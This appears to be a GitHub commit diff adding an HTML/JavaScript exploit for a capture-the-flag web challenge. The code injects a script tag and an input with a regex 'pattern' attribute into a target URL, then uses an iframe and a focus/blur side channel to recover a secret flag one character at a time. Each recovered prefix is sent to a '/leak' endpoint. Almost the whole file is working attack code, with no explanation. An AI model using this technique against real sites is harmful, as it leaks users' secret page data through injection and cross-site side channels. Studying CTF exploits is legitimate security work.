File tree 1 file changed +40
-0
lines changed
1 file changed +40
-0
lines changed Original file line number Diff line number Diff line change
1
+ < body onblur ="blur_sice() ">
2
+ < iframe id ='hackframe ' onload ="frame_load() "> </ iframe >
3
+ < script >
4
+ let sice_url = `https://scriptless.world/?name=<script src='/hire?callback=sice.reportValidity' defer></sc` + `ript><input id=sice name=hax pattern=".*CTF-BR\\{REPLACEME.*" value='pepega` ;
5
+ console . log ( sice_url ) ;
6
+ let charset = "_!abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
7
+ let current_known = "p4tt3rn5_plu5_f0cu5_3qu4l5_s1de_ch4nn"
8
+ let hackframe = document . getElementById ( 'hackframe' ) ;
9
+
10
+ let did_blur ;
11
+ let current_idx = 0 ;
12
+
13
+ function try_char ( idx ) {
14
+ did_blur = false ;
15
+ hackframe . src = sice_url . replace ( "REPLACEME" , current_known + charset [ idx ] ) ;
16
+ }
17
+
18
+ function frame_load ( ) {
19
+ setTimeout ( function ( ) {
20
+ if ( ! did_blur ) {
21
+ current_known += charset [ current_idx ] ;
22
+ fetch ( '/leak?' + current_known ) ;
23
+ current_idx = 0 ;
24
+ try_char ( current_idx ) ;
25
+ }
26
+ else {
27
+ current_idx += 1 ;
28
+ document . activeElement . blur ( ) ;
29
+ try_char ( current_idx ) ;
30
+ }
31
+ } , 50 ) ;
32
+ }
33
+
34
+ function blur_sice ( ) {
35
+ did_blur = true ;
36
+ }
37
+
38
+ try_char ( current_idx ) ;
39
+ </ script >
40
+ </ body >
You can’t perform that action at this time.
0 commit comments